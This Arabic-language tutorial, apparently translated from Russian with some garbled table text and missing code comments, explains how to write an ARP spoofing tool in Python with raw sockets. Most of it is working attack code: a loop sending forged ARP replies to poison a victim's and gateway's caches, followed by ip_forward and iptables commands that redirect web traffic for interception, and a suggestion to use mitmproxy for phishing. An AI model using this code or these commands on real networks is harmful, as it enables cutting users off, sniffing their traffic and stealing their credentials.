تنفيذ انتحال ARP في بايثون

المقدمة



في هذه المقالة ، أود أن أوضح كيف يمكنك تنفيذ برنامج انتحال ARP الخاص بك في Python. يوجد بالفعل الآلاف من التطبيقات ، لكن جميعها تقريبًا تستخدم مكتبة Scapy وطريقتين. ربما تكون هذه المكتبة أكثر فاعلية في الاستخدام ، لا أجادل ، لكنني كنت مهتمًا بتنفيذها بنفسي باستخدام المقابس وأود أن أخبر القراء كيف يتم ذلك.



من المفترض أنك على دراية بكيفية عمل بروتوكول ARP وعيوبه ، إذا لم يكن الأمر كذلك ، فإنني أنصحك بقراءة هذه المقالة .



أنا لست متخصصًا في أمن المعلومات مؤهلًا تأهيلا عاليا ، لذا أطلب منك عدم إلقاء النعال ، ولكن تحديد أي أخطاء في التعليقات.



قليلا من النظرية



لنبدأ بحقيقة أن رمز البروتوكول هو \ x08 \ x06 ويعمل في طبقة OSI الثانية ، أي القناة الأولى.



ثم تحتاج إلى التعرف على جسم الحزمة الخاصة به لمعرفة ما يجب إرساله. على ويكيبيديا هو مكتوب بشكل جيد للغاية:



جسم العبوة
Hardware type (HTYPE)

, . , Ethernet 0x0001.

Protocol type (PTYPE)

. , IPv4 0x0800.

Hardware length (HLEN)

. Ethernet 6 (0x06).

Protocol length (PLEN)

. IPv4 4 (0x04).

Operation

: 0x0001 0x0002 .

Sender hardware address (SHA)

.

Sender protocol address (SPA)

.

Target hardware address (THA)

. .

Target protocol address (TPA)

.



للوهلة الأولى ، قد يبدو الأمر صعبًا ، ولكن إذا اكتشفت ذلك ، فلا ينبغي أن تنشأ المشاكل.

وهكذا ، فإن الأول - نوع الجهاز (نوع الأجهزة) بالنسبة لنا هو Ethernet ، لذا سيكون الرمز 0x0001 أو \ x00 \ x01 ، نوع البروتوكول (نوع البروتوكول) - IPv4 ، مشفر كـ \ x08 \ x00 ؛ ثم يأتي طول الجهاز ونوع البروتوكول \ x06 \ x04 ، أي 6 و 4 بايت.

وفي النهاية لدينا رمز العملية ، وهو في حالة الطلب \ x00 \ x01 ، وفي حالة الاستجابة \ x00 \ x02 والعناوين الفعلية / المنطقية للمرسل / المستلم.



التنفيذ



بادئ ذي بدء ، تحتاج إلى الإعلان عن مثيل مأخذ وتعيين المعلمات الضرورية:



import socket
import time

interface = "wlan0"  #   
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb"  #  MAC-,   bb:bb:bb:bb:bb:bb

gateway_ip = socket.inet_aton("192.168.1.1")  # IP- 
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa"  # MAC- 

victim_ip = socket.inet_aton("192.168.1.2")  # IP- 
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc"  # MAC- 

connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))


بافتراض أن ARP هو بروتوكول OSI Layer 2 ، فإننا نستخدم socket.PF_PACKET كمعامل أول. ستحتاج أيضًا إلى حقوق الجذر حتى يعمل البرنامج.



تقوم طريقة socket.htons () بتحويل الأرقام الطبيعية ذات 16 بت إلى ترتيب بايت الشبكة.



طريقة Socket.inet_aton () تحول عناوين IPv4 إلى تنسيق ثنائي 32 بت.



لقد أعلنت أيضًا عن المتغيرات المطلوبة.



المرحلة التالية هي تشكيل الحزمة:



arp_code = b'\x08\x06'  #  
htype = b'\x00\x01'  # Hardware Type
ptype = b'\x08\x00'  # Protocol Type
hlen = b'\x06'  # Hardware Length
plen = b'\x04'  # Protocol Length
operation = b'\x00\x02'  # Operation Code - 

protocol = htype + ptype + hlen + plen + operation  #  

#       ,       
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code

#      
# 4     4    ,    
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip

#   
while True:
    connect.send(request_victim)
    connect.send(request_gateway)
    time.sleep(1)


الآن قمنا بتحليل البرنامج نفسه فقط ، ولكن إذا كنت لا تريد فقط فصل المستخدمين عن البوابة ، ولكن أيضًا لاستبدال / شم الحزم ، فحينئذٍ ستحتاج إلى تمكين إعادة التوجيه في ip_forward:



echo 1 > /proc/sys/net/ipv4/ip_forward


وقم أيضًا بتهيئة توجيه الحزمة من خلال iptables:



iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080


إذا كنت ترغب في إجراء تصيّد ، فإن الأداة المساعدة mitmproxy هي الخيار الأفضل .

يمكنك عرض حركة المرور التي تمر عبرك باستخدام الأداة المساعدة tcpdump .



أيضًا على GitHub الخاص بي ، قمت بنشر برنامج نصي مصمم لفصل كل أو بعض العقد من البوابة - github.com/secwayz/netbuster



كنتيجة لكتابة البرنامج ، وجدت أنه حتى مع رمز التشغيل 0x0001(طلب) ومع جميع المعلمات من الاستجابة (تختلف قليلاً) ، لا يزال الضحية يتلقى الحزمة ويغير عنوان MAC في جدول ARP ، بينما يزداد استقرار الهجوم وقوة هذا الإدخال بشكل كبير. أعتقد أن هذا عيب آخر في البروتوكول ، حيث لا تتجاهل واجهة الشبكة الحزمة المكونة بشكل غير صحيح ، ولكنها تعالجها وتستبدل الجدول.



All Articles